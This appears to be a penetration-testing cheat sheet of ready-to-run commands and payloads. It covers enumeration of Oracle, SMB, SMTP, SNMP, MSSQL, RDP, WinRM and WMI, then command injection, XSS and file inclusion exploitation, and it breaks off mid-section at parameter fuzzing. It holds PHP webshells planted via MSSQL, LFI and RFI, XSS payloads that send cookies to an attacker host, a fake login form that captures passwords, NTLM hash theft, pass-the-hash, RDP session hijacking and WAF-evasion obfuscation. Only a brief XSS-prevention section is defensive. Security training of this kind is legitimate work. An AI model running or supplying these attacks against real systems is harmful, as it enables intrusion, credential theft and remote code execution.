pip install --break-system-packages python-libnmap
git submodule init
git submodule update
pip3 install --break-system-packages cx_Oracle
sudo apt install -y python3-scapy
sudo pip3 install --root-user-action colorlog termcolor passlib python-libnmap
sudo apt install -y build-essential libgmp-dev
pip3 install --break-system-packages pycryptodome

# Enumeration
odat.py all -d <SID> -s <TARGET>

### Connect
# Install: https://askubuntu.com/a/207145
sqlplus <USER>/<PASSWORD>@<TARGET>/<SID>
sqlplus <USER>/<PASSWORD>@<TARGET>/<SID> as sysdba
# https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared
# If you come across the following error sqlplus:
# error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, 
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf" ; sudo ldconfig

# SQL Commands
select table_name from all_tables ;
select * from user_role_privs ;
select name, password from sys.user$ ;

### Upload webshell (if webserver)
# Linux	/var/www/html
# Windows	C:\inetpub\wwwroot
echo "Oracle File Upload Test" > testing.txt
odat.py utlfile -d <SID> -U <USER> -P <PASSWORD> -s <TARGET> --sysdba --putFile <UPLOAD_DIR> testing.txt ./testing
curl -Lo- http://<TARGET>/testing.txt

SMB/CIFS/RPC

  • TCP 135: RPC Endpoint Mapper (EPM)
  • UDP 137, UDP 138, TPC 139: legacy (CIFS/SMB1)
  • TCP 445: RPC/(SMB2/3)
  • Shares:
    • C$ (drive)
    • ADMIN$ (Windows drive)
    • IPC$ (RPC)
    • PRINT$
See more about… SMB

Source: Docs > 2 - Pre-Engagement > checklist#smb

SMB

  • 1. Anonymous Access & Share Listing (Attempt a null session via smbclient -L <IP> -N or crackmapexec smb <IP> --shares to list shares without credentials)
  • 2. Comprehensive Enumeration (Run enum4linux-ng -A <IP> to automatically dump users, groups, OS info, and password policies)
  • 3. Share Content Inspection (Mount accessible shares or use smbclient to browse directories for sensitive files, scripts, or backups)
  • 4. Security Posture Check (Use nmap --script=smb-security-mode to verify if SMB signing is required, which is critical for preventing relay attacks)
Dangerous Settings
SettingDescription
browseable = yesAllow listing available shares in the current share?
read only = noForbid the creation and modification of files?
writable = yesAllow users to create and modify files?
guest ok = yesAllow connecting to the service without using a password?
enable privileges = yesHonor privileges assigned to specific SID?
create mask = 0777What permissions must be assigned to the newly created files?
directory mask = 0777What permissions must be assigned to the newly created directories?
logon script = script.shWhat script needs to be executed on the user’s login?
magic script = script.shWhich script should be executed when the script gets closed?
magic output = script.outWhere the output of the magic script needs to be stored?
# ANON: List available SMB shares
smbclient -U "" -N --list //<TARGET>/
smbclient -U "guest" -N --list //<TARGET>/

# ANON: Connect to an SMB share
smbclient -U "" -N //<TARGET>/<SHARE>
smbclient -U "guest" -N //<TARGET>/<SHARE>

# Connect to SMB share
smbclient --user=<DOMAIN>/<USERNAME> --password='<PASSWORD>' //<TARGET>/<SHARE>
ls  # List files
more  # read file
get <FILE>  # Download file
recurse  # Toggle directory recursion
# Download recursion
recurse on
prompt off
mget *
# Execute local commands (outside of session)
!<COMMAND>

---

# https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol
# badPwdCount: https://learn.microsoft.com/en-us/windows/win32/adschema/a-badpwdcount

nxc smb <TARGET> -u '' -p '' --users --groups --shares --pass-pol

# User and Groups
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --users
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups

# List shares
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares

# Recursively list files
smbmap -r --depth 3 -r <SHARE> -u <USERNAME> -p <PASSWORD> -H <IP>
# Directories only
smbmap -R <SHARE> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> -H <IP> --dir-only

---

# https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf
# https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html

# RPC
rpcclient -U '<USER>%<PASSWORD' <TARGET>
querydominfo	# Provides domain, server, and user info
enumdomusers  # Enumerates all domain users
srvinfo	 # Server information
enumdomains	 # Enumerate all domains
netshareenumall	 # Enumerates available shares
netsharegetinfo <SHARE>	 # Info about a specific share
queryuser <RID>  # User info

---

# TODO: move these to a more appropriate/relevant section

# Brute-Forcing RIDs via RPC
for i in $(seq 500 1100);do rpcclient -N -U "" <TARGET> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

# Same with other tools
samrdump.py <TARGET>
smbmap -H <TARGET>

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>

SMTP/ESMTP

Dangerous Settings
OptionDescription
mynetworks = 0.0.0.0/0With this setting, this SMTP server can send fake emails and thus initialize communication between multiple parties. Another attack possibility would be to spoof the email and read it.
# CAREFUL! Open relay check
sudo nmap -p25,465,587,2525 --script smtp-open-relay <TARGET>

# User enum
# https://github.com/cytopia/smtp-user-enum#how-does-vrfy-work
# TRY: -M VRFY
wget https://raw.githubusercontent.com/cytopia/smtp-user-enum/refs/heads/master/smtp-user-enum

python3 ./smtp-user-enum --mode VRFY --file /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt --domain <DOMAIN> <TARGET> 25

# Manual enumeration
telnet <TARGET> 25
EHLO <HOSTNAME>
VRFY <USER>  # 250 success; 252 maybe/not; 550 failure
EXPN

SNMP

Management Information Base (MIB) is a text file of Object Identifier (OID) s, which provide addresses to access device info, in the Abstract Syntax Notation One (ASN.1) based ASCII text format. Community Strings are sort of “passwords” to manage the access level.

Dangerous Settings
SettingsDescription
rwuser noauthProvides access to the full OID tree without authentication.
rwcommunity <COMMUNITY_STRING> <IPv4_ADDR>Provides access to the full OID tree regardless of where the requests were sent from.
rwcommunity6 <COMMUNITY_STRING> <IPv6_ADDR>Same access as with rwcommunity with the difference of using IPv6.
# Enum via nmap
sudo nmap -n -Pn -sU -p161 -sV --script 'snmp*' --reason -oA nmap_snmp_scan <TARGET>

### Brute-force names of Community Strings
# - Default Strings: "public" (Read-Only) and "private" (Read/Write) are common
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET>
// probably "public"

### Brute-force OIDs and info
# -v 1,2c,3
snmpwalk -v <VERSION> -c <COMMUNITY_STRING> <TARGET> .1

### Brute-force OIDs
# -2 : use v2
# braa usu. uses Version 1
braa <COMMUNITY_STRING>@<TARGET>:.1.*
braa <COMMUNITY_STRING>@<TARGET>:.1.3.6.*

Win: MSSQL

  • TCP/UDP 1433: normal
  • TCP 2433: hidden mode
  • default system schemas/databases:
    • master - keeps the information for an instance of SQL Server.
    • msdb - used by SQL Server Agent.
    • model - a template database copied for each new database.
    • resource - a read-only database that keeps system objects visible in every database on the server in sys schema.
    • tempdb - keeps temporary objects for SQL queries.
  • xp_cmdshell:
    • xp_cmdshell is a powerful feature and disabled by default. It can be enabled and disabled by using the Policy-Based Management or by executing sp_configure
    • The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account
    • xp_cmdshell operates synchronously. Control is not returned to the caller until the command-shell command is completed

Microsoft’s closed-source version of SQL.

Dangerous Settings
  • MSSQL clients not using encryption to connect to the MSSQL server
  • The use of self-signed certificates when encryption is being used. It is possible to spoof self-signed certificates
  • The use of named pipes
  • Weak & default sa credentials. Admins may forget to disable this account
# Enumerate via nmap
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=<USER>,mssql.password=<PASSWORD>,mssql.instance-name=MSSQLSERVER -sV -p 1433 <TARGET>

# Enumerate via MSF
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <TARGET>
run

### Login via Windows auth
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<TARGET>
impacket-mssqlclient <USER>:<PASSWORD>@<TARGET>

# Survey
SELECT @@version;
SELECT user_name();
SELECT system_user;
SELECT IS_SRVROLEMEMBER('sysadmin');  -- 1+ is admin
# Users
SELECT name FROM master..syslogins;
# Databases
SELECT name FROM master..sysdatabases;

# show tables ;
USE <DATABASE> ;
SELECT name FROM sys.tables;

Read Files

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Write Files (to achieve command execution)

sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Enable xp_cmdshell

enable_xp_cmdshell
-- These are the same as the above single command
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1
RECONFIGURE

xp_cmdshell <COMMAND>

-- or run linked server command
EXECUTE('xp_cmdshell ''<DOS_CMD>''') AT [<LINKED_SERVER>]

Impersonate User

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' ;
GO

-- Impersonating the SA User (admin)
USE master
EXECUTE AS LOGIN = 'sa'
-- Verify
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- 0 is NOT admin

Linked Servers

SELECT srvname, isremote FROM sysservers
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [<TARGET>\SQLEXPRESS]

-- Capture NTLM Hash
sudo responder -I <INTERFACE>

# XP_DIRTREE Hash Stealing
EXEC master..xp_dirtree '\\<ATTACKER>\share'
# XP_SUBDIRS Hash Stealing
EXEC master..xp_subdirs '\\<ATTACKER>\share'

Win: RDP

Also called “Terminal Services”.

RDP via Pass the Hash

Source: Docs > 6 - Post-Exploitation > pass-the-hash#rdp-restricted-admin-mode

RDP (Restricted Admin Mode)

#Enable Restricted Admin on Target (Requires Admin rights)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Now RDP with Hash
xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,share
# Enum via nmap
sudo nmap -sV -sC --script 'rdp*' -p3389 <TARGET>

# Enum RDP security posture
sudo cpan
sudo cpan Encoding::BER
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl <TARGET>

# Connects to RDP and mounts mimikatz share
mkdir loot; xfreerdp3 +multitransport /clipboard /dynamic-resolution /cert:ignore /v:<TARGET> /u:<USER> /p:'<PASSWORD>' /drive:'/usr/share/windows-resources/mimikatz/x64',share /drive:"$HOME/loot",loot

# Impersonate other logged-in user
# NOTE: needs SYSTEM
query.exe user
tscon.exe <SESSION_ID> /dest:<SESSION_NAME>

# Local Admin => SYSTEM
sc.exe create sessionhijack binpath= "cmd.exe /k tscon.exe <SESSION_ID> /dest:<SESSION_NAME>"
net.exe start sessionhijack

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Win: WinRM

  • TCP 5985/5986: via HTTP/HTTPS respectively
# Enum via nmap
sudo nmap --disable-arp-ping -n -Pn -sV -sC -p5985,5986 <TARGET>
evil-winrm -u <USER> -p <PASSWORD> -i <HOST>
evil-winrm -u <USER> -H <PASS_HASH> -i <HOST>

PowerShell Remoting

Requires valid Kerberos Ticket (PtT) or active NTLM Injection (PtH) in the current session.

Ports

  • TCP/5985 (HTTP)
  • TCP/5986 (HTTPS)

Requirements

  • Administrative permissions OR
  • Member of “Remote Management Users” OR
  • Explicit PSSession configuration
# PowerShell
$password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("<DOMAIN>\<USER>", $password)
Enter-PSSession -Credential $cred -ComputerName <TARGET_HOSTNAME>

Win: WMI

  • TCP 135: first, initialization
  • TCP <RHP>: afterwards, comms
# Run interactive shell
impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET>
# Run remote command
impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET> "<COMMAND>"

5 - Exploitation

cc+++ title = “Command Injection” +++

Overview

User-controlled input that can lead to queries or code execution on the target server (OS, SQL, XSS, etc.). Front-end and back-end often use different validation, which can create vulnerabilities.

NOTE: Try URL encoding, newlines, tabs instead of spaces, and other encoding when characters are blocked.

Injection Types

Injection TypeOperators (Raw)Operators (URL Encoded)
SQL Injection' , ; -- /* */%27 %2C %3B %2D%2D %2F%2A%20%2A%2F
Command Injection; &&%3B %26%26
LDAP Injection* ( ) & |%2A %28 %29 %26 %7C
XPath Injection' or and not substring concat count%27 or and not substring concat count
OS Command Injection; & |%3B %26 %7C
Code Injection' ; -- /* */ $() ${} #{} %{} ^%27 %3B %2D%2D %2F%2A%20%2A%2F %24%28%29 %24%7B%7D %23%7B%7D %25%7B%7D %5E
Directory/Path Traversal../ ..\\%2E%2E%2F %2E%2E%5C %00
Object Injection; & |%3B %26 %7C
XQuery Injection' ; -- /* */%27 %3B %2D%2D %2F%2A%20%2A%2F
Shellcode Injection\x \u%5Cx %5Cu %u %n
Header Injection\n \r\n \t%0A %0D%0A %09
Space%20

Workarounds

When a crucial character is blocked, reference it from the environment (variable) or use alternate syntax. Use man ascii (Linux) or Get-ChildItem Env: (PowerShell) to find usable characters.

Linux

Curly-bracket expansion and character shifting: `\` is 92 (ASCII), `[` is 91.

BlockedBypass (example)
whitespace${IFS}
/${PATH:0:1} or $(tr '!-}' '"-~'<<<[)
;${LS_COLORS:10:1}
  • Commands: Mix quotes into the name: w"h"o"am"i, who$@ami, w\ho\am\i.
  • Case: $(tr "[A-Z]" "[a-z]"<<<"WhOaMi") or $(a="WhOaMi";printf %s "${a,,}").
  • Reversals: $(rev<<<'imaohw').
  • Encoded: echo -n 'cat /etc/passwd | grep 33' | base64 β†’ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==).
  • Use <<< instead of | when pipes are blocked.

Windows

BlockedBypass (example)
whitespacespace in %VAR% or `
/%HOMEPATH:~6,-11% or $env:HOMEPATH[0]
;%COMSPEC:~4,1% or newline in variable
  • Commands: Insert ^: who^ami. Try case variants: WHOAMI, wHoaMi.
  • Reversals: iex "$('imaohw'[-1..-20] -join '')".
  • Encoded (Unicode Base64): [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) β†’ iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))".

Tools

Useful against basic WAFs and static regex in web-based command injection. Modern EDRs often detect these via telemetry.

Linux: Bashfuscator

Generates heavily obfuscated bash. Tune down for web use (small payloads). Evades WAFs by breaking strings into arrays and reconstructing at runtime.

# 1. Install (requires specific setuptools)
git clone https://github.com/Bashfuscator/Bashfuscator && cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user

# 2. Generate a short payload (-s 1 -t 1 --layers 1)
cd bashfuscator/bin/
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

# 3. Test locally before sending
bash -c '<PASTE_OUTPUT>'

Windows: DOSfuscation

Interactive PowerShell framework for obfuscating cmd.exe payloads. Uses env var substring extraction (e.g. %TEMP:~-3,-2%) so keywords don’t appear in the HTTP request.

# 1. Install & load
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

# 2. Interactive: set command then encoding
SET COMMAND type C:\Users\Public\flag.txt
encoding
1

Cross-site scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).

REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)

TypeDescription
Stored XSS (Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Breaking Context

Manual Payloads

Sometimes, certain payloads are not allowed

<script>alert(window.origin)</script>

<img src="" onerror=alert(window.origin)>

<svg/onload=alert(window.origin)>

// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//

---

# Setup listener on ATTACKER_IP
sudo python3 -m http.server 80

// Remote script
<script src="http://<ATTACKER_IP>/script.js"></script>

// Same idea but enumerate vuln fields
<script src="http://<ATTACKER_IP>/username"></script>

// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;

Login Form Injection

<h3>Please login to continue</h3>
<form action=http://<ATTACKER_IP> >
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Blind XSS

Manual

Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.

mkdir /tmp/tmpserver && cd /tmp/tmpserver
cat << 'EOF' > script.js
new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie;
EOF
php -S 0.0.0.0:8080

NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible

# MODIFY PAYLOAD AS NEEDED
PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>'
# Encode it
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
# Hack it!
curl "http://<TARGET>/<PAGE>?\
Name=${ENCODED}\
&Email=${ENCODED}\
&Phone+Number=${ENCODED}\
&Product=${ENCODED}\
&os=${ENCODED}\
&browser=${ENCODED}\
&message=${ENCODED}\
&ttype=${ENCODED}" \
-H 'X-Requested-With: XMLHttpRequest'

Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:

  • Click Shift+F9 to show the Storage bar
  • Click on the + button on the top right corner
  • Add Name is the part before = and the Value is the part after = from the stolen cookie

Dalfox

NOTE: this is very dangerous and can break servers easily

# this installs the program at `~/go/bin/dalfox`
go install github.com/hahwul/dalfox/v2@latest
# HTTP GET
dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>'

# HTTP POST (can include multiple params for -d)
# COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>'
dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'

Blind

# Fuzz web page fields
dalfox url "http://<TARGET_IP>/<PAGE>" \
  --skip-mining-dom \
  --blind "http://<ATTACKER_IP>:8080" \
  -X POST \
  -d "<PARAM>=<VALUE>"
  --header "X-Requested-With: XMLHttpRequest" \
  --blind "http://10.10.14.175:8080" \
  --delay 500

XSS Prevention & Mitigation

XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).

Frontend

  • Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
  • Sanitization: Strip dangerous tags before processing.
  • Safe Sinks: Avoid writing raw HTML.
    • UNSAFE: innerHTML, outerHTML, document.write(), jQuery append(), html().
    • SAFE: innerText, textContent.

Backend

  • Input Validation: Reject input that doesn’t match expected types (e.g., PHP filter_var).
  • Input Sanitization: Escape special characters before storage (e.g., PHP addslashes, Node DOMPurify).
  • Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g., < β†’ &lt;) before rendering.
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • NodeJS: html-entities library.

Server Configuration

  • Content Security Policy (CSP): The most powerful header against XSS.
    • Content-Security-Policy: script-src 'self' (Only allow scripts from the same origin, blocks inline JS).
  • Cookie Flags:
    • HttpOnly: Prevents JavaScript from reading document.cookie.
    • Secure: Ensures cookies are only sent over HTTPS.
  • Headers:
    • X-Content-Type-Options: nosniff (Prevents MIME sniffing).
  • WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.

File Inclusion

File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

There are 2 types, which depend on the underlying vulnerable function:

Code Examples of FI

These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.

PHP

// Selector
if (isset($_GET['language'])) {
    include($_GET['language']);
}

NodeJS

// Selector
if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

// about.html
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java

// Selector
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

// about.html
<c:import url= "<%= request.getParameter('language') %>"/>

.NET

// Selector
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

// about.html
@Html.Partial(HttpContext.Request.Query['language'])

Can Function X Read/Execute?

FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()βœ…βœ…βœ…
require()/require_once()βœ…βœ…βŒ
file_get_contents()βœ…βŒβœ…
fopen()/file()βœ…βŒβŒ
NodeJS
fs.readFile()βœ…βŒβŒ
fs.sendFile()βœ…βŒβŒ
res.render()βœ…βœ…βŒ
Java
includeβœ…βŒβŒ
importβœ…βœ…βœ…
.NET
@Html.Partial()βœ…βŒβŒ
@Html.RemotePartial()βœ…βŒβœ…
Response.WriteFile()βœ…βŒβŒ
includeβœ…βœ…βœ…

Checking Vulnerability

Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:

  • Linux: /etc/passwd
  • Windows: C:\Windows\boot.ini

Generally, they will be 3-5 folder depths down from the root filesystem:

# without '/'
../../../../etc/passwd
# with '/'
/../../../../etc/passwd

# basic filter '../' bypass
....//....//....//etc/passwd
..././
....\/

# URL encoding: must encode entire string
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

# regex might require a specific string or extension for a folder or extension
# the extension part can limit the files accessible
languages/.*php

# overflow character limit to evade extension filter
# ONLY: PHP <5.3 versions
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

# null byte
# ONLY: PHP <5.5 versions
../../../../etc/passwd%00.php

URL Encoding

# Total URL Encoding via Python
echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"

Finding Files

Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)

# Find *.php files that DO EXIST on the server
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:

# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"
http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>

# View Page Source > Decode base64
echo '<BASE64> | base64 -d'

Local File Inclusion

Check Config

# If the LFI is already know (e.g. via LFImap) this
# can browse for all accessible config files
ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v

Execute Commands

If able, check that appropriate settings are enabled and the underlying function supports the command.

via data

# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?>
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'

via input

# POST PHP Webshell
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'

via expect

curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'

Remote File Inclusion

If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.

# URL is the remote resource
http://<TARGET>/<PAGE>?<PARAMETER>=<URL>

# Create remote PHP web shell
# NOTE: this only works for get and execute style functions
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080

# Execute commands by calling back to ATTACK_IP and executing that file
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'

Log Poisoning

Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.

# Get PHPSESSION from F12 > Storage
# NOTE: that file is stored on disk as:
# /var/lib/php/sessions/sess_<PHPSESSION>

# Read the settings for the PHPSESSION
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Let's see if we control the OPTION
http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the value
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Set OPTION to a PHP webshell
curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'

# Now execute commands
curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'

Scanning

To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.

NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:

  1. Check server configs
  2. Attempt to read and see the filtering from the pages
  3. Incorporate the filtering into the ffuf URL portion
# FIND: params
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

# FIND: LFI payloads
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

LFI Filter Evasion

When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.

The Filter (What the dev did)The Bypass (How to break it)Example Payload
Traversal Stripping (Removes ../)Nested or overlapping traversals.....//....//etc/passwd
..././..././etc/passwd
URL Decoding Filters (WAF)URL encode, or double-URL encode.%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
Hardcoded Prefix (include("dir/".$p))Add more ../ to climb out of the forced directory.../../../../../../etc/passwd
Hardcoded Suffix (include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).
../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config
Keyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes./etc//passwd
/etc/security/../passwd

Mechanics & Logic

1. The “Forced Extension” Problem (.php)

If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.

Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.

2. The str_replace Trap

Many developers try to fix LFI with str_replace("../", "", $input).

The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.

Advanced Scanning

The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:

# FIND: Advanced bypasses (nested, encoded, null bytes)
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

# FIND: PHP wrapper source code extraction (targets common files like index, config, db)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>
See more about… Parameter fuzzing

Source: Docs > 9 - Notes > ffuf#parameter-fuzzing

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
